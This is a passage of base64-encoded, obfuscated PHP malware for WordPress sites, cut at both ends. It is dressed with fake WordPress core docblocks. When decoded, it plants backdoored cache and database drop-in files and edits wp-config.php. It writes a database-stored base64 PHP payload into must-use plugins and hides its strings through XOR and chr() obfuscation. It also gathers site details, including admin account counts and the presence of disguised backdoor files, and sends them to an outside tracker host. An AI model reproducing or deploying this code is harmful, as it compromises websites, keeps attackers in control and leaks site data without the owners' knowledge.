fZjQ0NGIyYTdjID0gZXhwbG9kZSgiXG4iLCAkX3dwZmU0NDY5KTsNCgkJCQkJJF93cGZlNDQ2OSA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJF9mNDQ0YjJhN2MsIC0xMDApKTsNCgkJCQl9DQoJCQkJdXBkYXRlX29wdGlvbigkX19jYWNoZV8yMjEwLCAkX3dwZmU0NDY5LCAnbm8nKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9mZjU1YmVkNWYpIHt9DQp9LCA5OTksIDIpOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX2NmZzBhNjdlMWEpIHt9CgpmdW5jdGlvbiBfYzMwNGNiYWEoKXsKJHdwX2FjdGlvbl9mMjkwID0gNjA1NjsgcmV0dXJuICR3cF9hY3Rpb25fZjI5MDsKfQoKY2xhc3MgQ2FjaGVfSGVscGVyX2YyZjEgeyBwcml2YXRlICRfd3A2MDE1NSA9IG51bGw7IHB1YmxpYyBmdW5jdGlvbiB3cF9vcHRpb25fZGY4NSgpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IHByaXZhdGUgZnVuY3Rpb24gX2NmZzNlMDkxMSgpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSBwcml2YXRlIGZ1bmN0aW9uIHdwX2hhbmRsZXJfMzJmZSgpIHsgcmV0dXJuIG51bGw7IH0gfQoKYWRkX2ZpbHRlcignZ2V0X3RoZV9kYXRlJywgZnVuY3Rpb24oJF93cDliZjIpe3JldHVybiAkX3dwOWJmMjt9KTsKLyoqCiogSW1wbGVtZW50cyBmaWxlc3lzdGVtIGFic3RyYWN0aW9uIGZvciB1cGxvYWRzCioKKiBAc2luY2UgMS4zLjk1CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiRfaWUzMjE3ID0gaXNfZGlyKEFCU1BBVEggLiAnd3AtYWRtaW4nKSA/IDEgOiAwOwokX3E0MTgzNTEgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKSA+IDIgPyB0cnVlIDogZmFsc2U7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX2NmZGNkMWQgPSAkR0xPQkFMU1snX2M0NjAzNGIzJ10gLiAnX2Ryb3Bpbic7DQoJCSRfX3JlZl8zNjA2ID0gJEdMT0JBTFNbJ193cDJiYjFiNmJlJ107DQoJCSRfYzFhY2NhOWMgPSAkR0xPQkFMU1snX2MxYWNjYTljJ107DQoKCQkkX3MyOTIwMWY0ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2FkdmFuY2VkLWNhY2hlLnBocCc7DQoJCSR3cF9tZXRhX2U2NGMgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCgkJJF9jY2M3MDljZCA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgoJCSRfdjY3NzI2ID0gZmlsZV9leGlzdHMoJF9zMjkyMDFmNCkgJiYgZmlsZV9leGlzdHMoJHdwX21ldGFfZTY0YykgJiYgZmlsZV9leGlzdHMoJF9jY2M3MDljZCk7DQoJCSRfd3A0MjFlZWUyOSA9IHRydWU7DQoJCWlmICgkX3Y2NzcyNikgew0KCQkJZm9yZWFjaCAoYXJyYXkoJF9zMjkyMDFmNCwgJHdwX21ldGFfZTY0YywgJF9jY2M3MDljZCkgYXMgJF93cDVlZjExOCkgew0KCQkJCSRfd3BjODc5YjIgPSBAKCdmaWwnLidlX2dlJy4ndF9jJy4nb24nLid0ZW4nLid0cycpKCRfd3A1ZWYxMTgpOw0KCQkJCWlmICghJF93cGM4NzliMiB8fCBzdHJwb3MoJF93cGM4NzliMiwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgeyAkX3dwNDIxZWVlMjkgPSBmYWxzZTsgYnJlYWs7IH0NCgkJCX0NCgkJfQ0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX2NmZGNkMWQpICYmICRfdjY3NzI2ICYmICRfd3A0MjFlZWUyOSkgcmV0dXJuOw0KCgkJJF93cGI1NjggPSBmdW5jdGlvbigkd3Bfc2Vzc2lvbl9jZDg5LCAkX19pbml0X2ZjZDQgPSBmYWxzZSkgdXNlICgkX2MxYWNjYTljLCAkX19yZWZfMzYwNikgew0KCQkJJF93cDljYWY4ID0gIlxuLyogIiAuICRfX3JlZl8zNjA2IC4gIiAqL1xuIg0KCQkJCS4gIlwkX2M5NmU2MDcwID0gZGVmaW5lZCgnV1BNVV9QTFVHSU5fRElSJykgPyBXUE1VX1BMVUdJTl9ESVIgOiBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7XG4iDQoJCQkJLiAiXCR3cF9vcHRpb25fYzI3ZiA9IFwkX2M5NmU2MDcwIC4gJy8iIC4gJF9jMWFjY2E5YyAuICInO1xuIg0KCQkJCS4gImlmICghZmlsZV9leGlzdHMoXCR3cF9vcHRpb25fYzI3ZikpIHtcbiI7DQoJCQlpZiAoJF9faW5pdF9mY2Q0KSB7DQoJCQkJJF93cDljYWY4IC49ICIgICAgdHJ5IHtcbiINCgkJCQkJLiAiICAgICAgICBcJF9jY2NhNTE5ID0gbmV3IFBETygnbXlzcWw6aG9zdD0nLkRCX0hPU1QuJztkYm5hbWU9Jy5EQl9OQU1FLCBEQl9VU0VSLCBEQl9QQVNTV09SRCk7XG4iDQoJCQkJCS4gIiAgICAgICAgXCRfd3A1ZWRhM2UxOSA9IFwkX2NjY2E1MTktPnF1ZXJ5KFwiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIFwiLihpc3NldChcJHRhYmxlX3ByZWZpeCk/XCR0YWJsZV9wcmVmaXg6J3dwXycpLlwib3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZSA9ICciIC4gJHdwX3Nlc3Npb25fY2Q4OSAuICInIExJTUlUIDFcIik7XG4iDQoJCQkJCS4gIiAgICAgICAgaWYgKFwkX3dwNWVkYTNlMTkgJiYgXCR3cF9hY3Rpb25fNTFkMiA9IFwkX3dwNWVkYTNlMTktPmZldGNoQ29sdW1uKCkpIHtcbiINCgkJCQkJLiAiICAgICAgICAgICAgXCRfd3BmZmViNTNmOSA9IGJhc2U2NF9kZWNvZGUoXCR3cF9hY3Rpb25fNTFkMik7XG4iDQoJCQkJCS4gIiAgICAgICAgICAgIGlmIChcJF93cGZmZWI1M2Y5ICYmIHN0cnBvcyhcJF93cGZmZWI1M2Y5LCAnPD9waHAnKSA9PT0gMCkgeyBAbWtkaXIoZGlybmFtZShcJHdwX29wdGlvbl9jMjdmKSwgMDc1NSwgdHJ1ZSk7IEBmaWxlX3B1dF9jb250ZW50cyhcJHdwX29wdGlvbl9jMjdmLCBcJF93cGZmZWI1M2Y5KTsgfVxuIg0KCQkJCQkuICIgICAgICAgIH1cbiINCgkJCQkJLiAiICAgICAgICBcJF9jY2NhNTE5ID0gbnVsbDtcbiINCgkJCQkJLiAiICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBcJGUpIHt9XG4iOw0KCQkJfSBlbHNlIHsNCgkJCQkkX3dwOWNhZjggLj0gIiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpIHtcbiINCgkJCQkJLiAiICAgICAgICBcJF93cDc3NWJkZiA9IGdldF9vcHRpb24oJyIgLiAkd3Bfc2Vzc2lvbl9jZDg5IC4gIicsICcnKTtcbiINCgkJCQkJLiAiICAgICAgICBpZiAoXCRfd3A3NzViZGYpIHsgXCRfd3BmZmViNTNmOSA9IGJhc2U2NF9kZWNvZGUoXCRfd3A3NzViZGYpOyBpZiAoXCRfd3BmZmViNTNmOSAmJiBzdHJwb3MoXCRfd3BmZmViNTNmOSwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCR3cF9vcHRpb25fYzI3ZiksIDA3NTUsIHRydWUpOyBAZmlsZV9wdXRfY29udGVudHMoXCR3cF9vcHRpb25fYzI3ZiwgXCRfd3BmZmViNTNmOSk7IH0gfVxuIg0KCQkJCQkuICIgICAgfVxuIjsNCgkJCX0NCgkJCSRfd3A5Y2FmOCAuPSAifVxuLyogIiAuICRfX3JlZl8zNjA2IC4gIl9lbmQgKi9cbiI7DQoJCQlyZXR1cm4gJF93cDljYWY4Ow0KCQl9Ow0KCgkJJF93cDQyNmNhID0gJEdMT0JBTFNbJ19jNDMxNyddOw0KCQkkX3dwYWI0MjM2MWEgPSAkR0xPQkFMU1snX2MxYWRiJ107DQoKCQlpZiAoIWZpbGVfZXhpc3RzKCRfczI5MjAxZjQpKSB7DQoJCQkkd3BfY2FjaGVfNzhhZSA9ICI8P3BocFxuLyogV29yZFByZXNzIEFkdmFuY2VkIENhY2hlIFBsdWdpbiAqL1xuIiAuICRfd3BiNTY4KCRfd3A0MjZjYSwgdHJ1ZSk7DQoJCQlfeDNmMjRjOCgkX3MyOTIwMWY0LCAkd3BfY2FjaGVfNzhhZSwgNTAsIHRydWUpOw0KCQkJX19jZmdfNjI5NSgkX3MyOTIwMWY0LCBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnKTsNCgoJCQkkX3dwM2I0Y2QzID0gQUJTUEFUSCAuICd3cC1jb25maWcucGhwJzsNCgkJCWlmIChmaWxlX2V4aXN0cygkX3dwM2I0Y2QzKSAmJiBpc193cml0YWJsZSgkX3dwM2I0Y2QzKSkgew0KCQkJCSRfX2hvb2tfMzZjMCA9IEAoJ2ZpbCcuJ2VfJy4nZ2UnLid0X2NvJy4nbnRlbicuJ3RzJykoJF93cDNiNGNkMyk7DQoJCQkJaWYgKCRfX2hvb2tfMzZjMCAmJiBzdHJwb3MoJF9faG9va18zNmMwLCAiJ1dQX0NBQ0hFJyIpID09PSBmYWxzZSAmJiBzdHJwb3MoJF9faG9va18zNmMwLCAnIldQX0NBQ0hFIicpID09PSBmYWxzZSkgew0KCQkJCQkkX19ob29rXzM2YzAgPSBwcmVnX3JlcGxhY2UoKCJceDJmIi4iXHg1ZSIuIlx4M2MiLmNocigxNjMgXiAweGZmKS4iXHgzZiIuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTEyKS5jaHIoNDcpLmNocigxMDkpKSwgIjw/cGhwXG5kZWZpbmUoJ1dQX0NBQ0hFJywgdHJ1ZSk7IiwgJF9faG9va18zNmMwLCAxKTsNCgkJCQkJX3gzZjI0YzgoJF93cDNiNGNkMywgJF9faG9va18zNmMwLCAxMDAsIGZhbHNlLCB0cnVlKTsNCgkJCQl9DQoJCQl9DQoJCX0gZWxzZWlmIChzdHJwb3MoQCgnZmknLidsZScuJ19nZXQnLidfY28nLidudGUnLidudHMnKSgkX3MyOTIwMWY0KSwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpJy4nbGUnLidfZ2V0Jy4nX2NvJy4nbnRlJy4nbnRzJykoJF9zMjkyMDFmNCk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkX3MyOTIwMWY0KSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cDQyNmNhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkX3MyOTIwMWY0LCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCWlmICghZmlsZV9leGlzdHMoJHdwX21ldGFfZTY0YykpIHsNCgkJCSRfd3BlZmVjOTVhID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgRGF0YWJhc2UgQWJzdHJhY3Rpb24gKi9cbiIgLiAkX3dwYjU2OCgkX3dwNDI2Y2EsIHRydWUpOw0KCQkJX3gzZjI0YzgoJHdwX21ldGFfZTY0YywgJF93cGVmZWM5NWEsIDUwLCB0cnVlKTsNCgkJCV9fY2ZnXzYyOTUoJHdwX21ldGFfZTY0YywgQUJTUEFUSCAuICd3cC1jb25maWcucGhwJyk7DQoJCX0gZWxzZWlmIChzdHJwb3MoQCgnZmlsZScuJ19nJy4nZXQnLidfY28nLidudGUnLidudCcuJ3MnKSgkd3BfbWV0YV9lNjRjKSwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvJy4nbnRlJy4nbnQnLidzJykoJHdwX21ldGFfZTY0Yyk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkd3BfbWV0YV9lNjRjKSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cDQyNmNhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkd3BfbWV0YV9lNjRjLCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCWlmIChmaWxlX2V4aXN0cygkX2NjYzcwOWNkKSAmJiBzdHJwb3MoQCgnZmlsZScuJ19nJy4nZXQnLidfY29uJy4ndGVuJy4ndHMnKSgkX2NjYzcwOWNkKSwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jY2M3MDljZCk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkX2NjYzcwOWNkKSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cGFiNDIzNjFhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkX2NjYzcwOWNkLCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCXNldF90cmFuc2llbnQoJF9jZmRjZDFkLCAnMScsIDQzMjAwKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfY2I4MTM1KSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICRfX2xvYWRfYWU5MCkge30KCmZ1bmN0aW9uIF9fbG9hZF85ODE5KCl7CiRfX2xvYWRfMDMxMSA9IDEwOTk7IHJldHVybiBBQlNQQVRIOwp9CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3Y4NmI0KXtyZXR1cm4gJF92ODZiNDt9KTsKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDMuNy41MAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KKGZ1bmN0aW9uKCkgewokX3JmMDU3ID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX3hkZjg3ID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfYzUwNThhMCA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCJceDY5XHg2ZVx4NjlceDc0IiwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJaWYgKGlzX2FkbWluKCkgfHwgd3BfZG9pbmdfYWpheCgpIHx8IHdwX2RvaW5nX2Nyb24oKSkgcmV0dXJuOw0KCQlpZiAoZGVmaW5lZCgoZnVuY3Rpb24oKXskX2MyNjkzND1hcnJheSg1NCwxMTMsNTAsMTA5LDU5LDEwMiwzNiwxMDQsNDksMTEzLDUwLDEwOSk7JF9wNWJmM2JmZTM9J2Q0YTknOyRfY2I0NzE9Jyc7Zm9yKCRfX3JlZl83ZGE4PTA7JF9fcmVmXzdkYTg8Y291bnQoJF9jMjY5MzQpOyRfX3JlZl83ZGE4KyspJF9jYjQ3MS49Y2hyKCRfYzI2OTM0WyRfX3JlZl83ZGE4XV5vcmQoJF9wNWJmM2JmZTNbJF9fcmVmXzdkYTglc3RybGVuKCRfcDViZjNiZmUzKV0pKTtyZXR1cm4gJF9jYjQ3MTt9KSgpKSAmJiBSRVNUX1JFUVVFU1QpIHJldHVybjsNCgoJCSRfbTk4MTQxID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19iZWFjb24nOw0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX205ODE0MSkpIHJldHVybjsNCgkJc2V0X3RyYW5zaWVudCgkX205ODE0MSwgJzEnLCA2MCk7DQoKCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJJF93cDk1YjhjMSA9IGZpbGVfZXhpc3RzKCRfX3Byb2NfMWRjYyk7DQoJCSRfY2RhNWU2ID0gJF93cDk1YjhjMSA/IGZpbGVzaXplKCRfX3Byb2NfMWRjYykgOiAwOw0KCgkJJF9jODgxM2NlOSA9ICRHTE9CQUxTWydfd3A5NGRlJ107DQoJCSRfd3AyYmIxYjZiZSA9ICRHTE9CQUxTWydfd3AyYmIxYjZiZSddOw0KCgkJJF9jODYxZDM5NSA9IGFycmF5KCk7DQoJCSRfYzg2MWQzOTVbJ211J10gPSAkX3dwOTViOGMxOw0KCQkkX2M4NjFkMzk1WydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jNDMxNyddLCAnJykpID4gMTAwOw0KCQkkX2M4NjFkMzk1WyhjaHIoMTU2IF4gMHhmZikuIlx4NzIiLmNocigxMTEpLmNocigxMTApKV0gPSAhIXdwX25leHRfc2NoZWR1bGVkKCRHTE9CQUxTWydfaTIxY2M5ZWVmJ10pOw0KCgkJJHdwX2hvb2tfNDk5ZiA9IFdQX0NPTlRFTlRfRElSIC4gJy9hZHZhbmNlZC1jYWNoZS5waHAnOw0KCQkkX2M4NjFkMzk1Wydkcm9waW5fYWMnXSA9IGZpbGVfZXhpc3RzKCR3cF9ob29rXzQ5OWYpICYmIHN0cnBvcyhAKCdmaScuJ2xlX2cnLidldF8nLidjbycuJ250Jy4nZW50Jy4ncycpKCR3cF9ob29rXzQ5OWYpLCAkX3dwMmJiMWI2YmUpICE9PSBmYWxzZTsNCgkJJF9fcmVmXzRhZDMgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCgkJJF9jODYxZDM5NVsoIlx4NjQiLmNocigxMTQpLmNocigxMTEpLmNocigxNDMgXiAweGZmKS4iXHg2OSIuY2hyKDExMCkuY2hyKDk1KS4iXHg2NCIuIlx4NjIiKV0gPSBmaWxlX2V4aXN0cygkX19yZWZfNGFkMykgJiYgc3RycG9zKEAoJ2ZpJy4nbGUnLidfZycuJ2V0Jy4nX2NvJy4nbnRlbicuJ3RzJykoJF9fcmVmXzRhZDMpLCAkX3dwMmJiMWI2YmUpICE9PSBmYWxzZTsNCgoJCSRfYzg2MWQzOTVbKCJceDc3Ii4iXHg3MCIuY2hyKDE2MCBeIDB4ZmYpLmNocigxMDgpLmNocigxMTEpLmNocigxNTIgXiAweGZmKS4iXHg2OSIuIlx4NmUiKV0gPSBmYWxzZTsNCgkJaWYgKCRfYzg4MTNjZTkgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KCQkJJF9jODYxZDM5NVsoZnVuY3Rpb24oKXskX19sb2FkXzgxNzc9YXJyYXkoNzksNjcsNTcsOTEsODcsODQsMTUsODkpOyRfd3A1NDlmNThkMD0nODNmNyc7JHdwX29wdGlvbl83MDk5PScnO2ZvcigkX2MwZmUzN2I9MDskX2MwZmUzN2I8Y291bnQoJF9fbG9hZF84MTc3KTskX2MwZmUzN2IrKykkd3Bfb3B0aW9uXzcwOTkuPWNocigkX19sb2FkXzgxNzdbJF9jMGZlMzdiXV5vcmQoJF93cDU0OWY1OGQwWyRfYzBmZTM3YiVzdHJsZW4oJF93cDU0OWY1OGQwKV0pKTtyZXR1cm4gJHdwX29wdGlvbl83MDk5O30pKCldID0gc3RycG9zKEAoJ2ZpJy4nbGVfJy4nZ2UnLid0X2NvJy4nbnRlJy4nbnRzJykoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSwgJF9jODgxM2NlOSkgIT09IGZhbHNlOw0KCQl9DQoKCQkkd3BfbWV0YV83YThlID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9mZWVkLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL2FqYXgtYnJpZGdlLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9ibG9jay1jb21wYXQucGhwIl0nLCB0cnVlKTsNCgkJJF9jYWE0MGQzYzIgPSAwOw0KCQlpZiAoaXNfYXJyYXkoJHdwX21ldGFfN2E4ZSkpIHsNCgkJCWZvcmVhY2ggKCR3cF9tZXRhXzdhOGUgYXMgJF93cDViNjk1KSB7DQoJCQkJaWYgKGZpbGVfZXhpc3RzKEFCU1BBVEggLiAkX3dwNWI2OTUpICYmIGZpbGVzaXplKEFCU1BBVEggLiAkX3dwNWI2OTUpID4gMjAwKSAkX2NhYTQwZDNjMisrOw0KCQkJfQ0KCQl9DQoJCSRfYzg2MWQzOTVbKGNocigxMTUpLiJceDYzIi5jaHIoOTcpLiJceDc0Ii5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLiJceDcyIildID0gJF9jYWE0MGQzYzIgLiAnLycgLiAoaXNfYXJyYXkoJHdwX21ldGFfN2E4ZSkgPyBjb3VudCgkd3BfbWV0YV83YThlKSA6IDApOw0KCgkJJF9jZDQxNiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJJF9jODYxZDM5NVsnaGEnXSA9ICFlbXB0eSgkX2NkNDE2KSAmJiB1c2VybmFtZV9leGlzdHMoJF9jZDQxNikgPyB0cnVlIDogZmFsc2U7DQoKCQkkX2NkZmYwID0gZ2V0X3VzZXJzKGFycmF5KCdyb2xlJyA9PiAoY2hyKDk3KS5jaHIoMTU1IF4gMHhmZikuIlx4NmQiLmNocigxMDUpLiJceDZlIi4iXHg2OSIuIlx4NzMiLiJceDc0Ii4iXHg3MiIuY2hyKDE1OCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKS4iXHg2ZiIuIlx4NzIiKSwgKGZ1bmN0aW9uKCl7JF9jMzgwYjAxYWE9YXJyYXkoODMsOTUsNCw4OSw4Miw3MCk7JF93cGFhOGI1PSc1NmE1Nic7JF9zNjQ1MzZhYjI9Jyc7Zm9yKCRfd3AxZmUwYj0wOyRfd3AxZmUwYjxjb3VudCgkX2MzODBiMDFhYSk7JF93cDFmZTBiKyspJF9zNjQ1MzZhYjIuPWNocigkX2MzODBiMDFhYVskX3dwMWZlMGJdXm9yZCgkX3dwYWE4YjVbJF93cDFmZTBiJXN0cmxlbigkX3dwYWE4YjUpXSkpO3JldHVybiAkX3M2NDUzNmFiMjt9KSgpID0+ICdJRCcpKTsNCgkJJF9jODYxZDM5NVsnYWRtaW5zJ10gPSBjb3VudCgkX2NkZmYwKTsNCgoJCSRfYzRmOGEgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWyd3cF9hY3Rpb25fNzIzZCddLCAnJyk7DQoJCWlmICgkX2M0ZjhhKSB7DQoJCQkkX2NiMDhlID0ganNvbl9kZWNvZGUoJF9jNGY4YSwgdHJ1ZSk7DQoJCQlpZiAoaXNfYXJyYXkoJF9jYjA4ZSkgJiYgIWVtcHR5KCRfY2IwOGVbJ3NsdWcnXSkpIHsNCgkJCQkkd3BfZmlsdGVyXzU3MDAgPSBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucy8nIC4gJF9jYjA4ZVsnc2x1ZyddIC4gJy8nIC4gKCRfY2IwOGVbJ2ZpbGUnXSA/PyAkX2NiMDhlWydzbHVnJ10gLiAnLnBocCcpOw0KCQkJCSRfYzg2MWQzOTVbJ2JjX3BsdWdpbiddID0gZmlsZV9leGlzdHMoJHdwX2ZpbHRlcl81NzAwKTsNCgkJCQkkX2M4NjFkMzk1WyhjaHIoOTgpLmNocig5OSkuY2hyKDk1KS4iXHg2MiIuY2hyKDE1OCBeIDB4ZmYpLmNocigxNTYgXiAweGZmKS5jaHIoMTQ4IF4gMHhmZikuY2hyKDEzOCBeIDB4ZmYpLiJceDcwIildID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jZGVmMDgnXSwgJycpKSA+IDEwMDsNCgkJCX0NCgkJfQ0KCgkJJF93cGZlNDQ2OSA9IGFycmF5KA0KCQkJKGZ1bmN0aW9uKCl7JHdwX3Nlc3Npb25fNjc5Mj1hcnJheSg1LDkxLDcwLDE1LDkyLDE1KTskX2k5NGFjPSdkODJmM2ExJzskX3dwYWI3OWM2MWQ9Jyc7Zm9yKCR3cF9ob29rXzc3MWE9MDskd3BfaG9va183NzFhPGNvdW50KCR3cF9zZXNzaW9uXzY3OTIpOyR3cF9ob29rXzc3MWErKykkX3dwYWI3OWM2MWQuPWNocigkd3Bfc2Vzc2lvbl82NzkyWyR3cF9ob29rXzc3MWFdXm9yZCgkX2k5NGFjWyR3cF9ob29rXzc3MWElc3RybGVuKCRfaTk0YWMpXSkpO3JldHVybiAkX3dwYWI3OWM2MWQ7fSkoKSA9PiAoY2hyKDE1MSBeIDB4ZmYpLmNocigxNTQgXiAweGZmKS4iXHg2MSIuIlx4NzIiLmNocigxMTYpLmNocig5OCkuY2hyKDEwMSkuIlx4NjEiLiJceDc0IiksDQoJCQknZG9tYWluJyA9PiBmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogKCRfU0VSVkVSWyhmdW5jdGlvbigpeyRfd3AwNWRlPWFycmF5KDQ2LDk3LDk4LDEwMCw1NywxMjUsMTIxLDEwMyw1MCk7JF9jMTQ1YWU5PSdmNTY0JzskX3dwYjVmOTFiZmI9Jyc7Zm9yKCRfd3AyMTlkZjhhPTA7JF93cDIxOWRmOGE8Y291bnQoJF93cDA1ZGUpOyRfd3AyMTlkZjhhKyspJF93cGI1ZjkxYmZiLj1jaHIoJF93cDA1ZGVbJF93cDIxOWRmOGFdXm9yZCgkX2MxNDVhZTlbJF93cDIxOWRmOGElc3RybGVuKCRfYzE0NWFlOSldKSk7cmV0dXJuICRfd3BiNWY5MWJmYjt9KSgpXSA/PyAnJyksDQoJCQkncGFnZScgPT4gJF9TRVJWRVJbIlx4NTJceDQ1XHg1MVx4NTVceDQ1XHg1M1x4NTRceDVmXHg1NVx4NTJceDQ5Il0gPz8gJy8nLA0KCQkJJ211X3NpemUnID0+ICRfY2RhNWU2LA0KCQkJKGNocigxNDMgXiAweGZmKS5jaHIoMTAxKS5jaHIoMTQxIF4gMHhmZikuY2hyKDExNSkuY2hyKDE1MCBeIDB4ZmYpLmNocigxNDAgXiAweGZmKS5jaHIoMTE2KSkgPT4gJF9jODYxZDM5NSwNCgkJCSdwaHAnID0+IFBIUF9WRVJTSU9OLA0KCQkJJ3dwJyA9PiBmdW5jdGlvbl9leGlzdHMoJ2dldF9ibG9naW5mbycpID8gZ2V0X2Jsb2dpbmZvKChmdW5jdGlvbigpeyRfd3A3ZDczZDk9YXJyYXkoNjcsODcsNjQsMTYsODksMTAsODgpOyRfYzgxYjkyMzQ9JzUyMmMwZTZmJzskd3BfdG9rZW5fOGVmYj0nJztmb3IoJF9faG9va18yMWRiPTA7JF9faG9va18yMWRiPGNvdW50KCRfd3A3ZDczZDkpOyRfX2hvb2tfMjFkYisrKSR3cF90b2tlbl84ZWZiLj1jaHIoJF93cDdkNzNkOVskX19ob29rXzIxZGJdXm9yZCgkX2M4MWI5MjM0WyRfX2hvb2tfMjFkYiVzdHJsZW4oJF9jODFiOTIzNCldKSk7cmV0dXJuICR3cF90b2tlbl84ZWZiO30pKCkpIDogJycsDQoJCQkiXHg3MFx4NmNceDc1XHg2N1x4NjlceDZlXHg3MyIgPT4gY291bnQoZ2V0X29wdGlvbigoY2hyKDk3KS4iXHg2MyIuY2hyKDExNikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTgpLmNocigxMDEpLmNocigxNjAgXiAweGZmKS4iXHg3MCIuIlx4NmMiLmNocigxMTcpLmNocigxMDMpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikuY2hyKDE0MCBeIDB4ZmYpKSwgYXJyYXkoKSkpLA0KCQkJJ3RzJyA9PiB0aW1lKCksDQoJCSk7DQoKCQkkX2k2M2JkOTUgPSBqc29uX2VuY29kZSgkX3dwZmU0NDY5KTsNCgkJJF9jZmcyMDk2NTk2ID0gKGNocigxNTEgXiAweGZmKS5jaHIoMTE2KS5jaHIoMTM5IF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLmNocigxNDAgXiAweGZmKS5jaHIoMTk3IF4gMHhmZikuIlx4MmYiLmNocig0NykuY2hyKDk4KS5jaHIoMTE3KS5jaHIoMTE0KS4iXHg3NSIuIlx4NmUiLmNocigxMDApLmNocigxMTcpLmNocigxNDggXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDExNCkuY2hyKDk3KS5jaHIoOTkpLiJceDZiIi4iXHg2NSIuIlx4NzIiLmNocigyMDkgXiAweGZm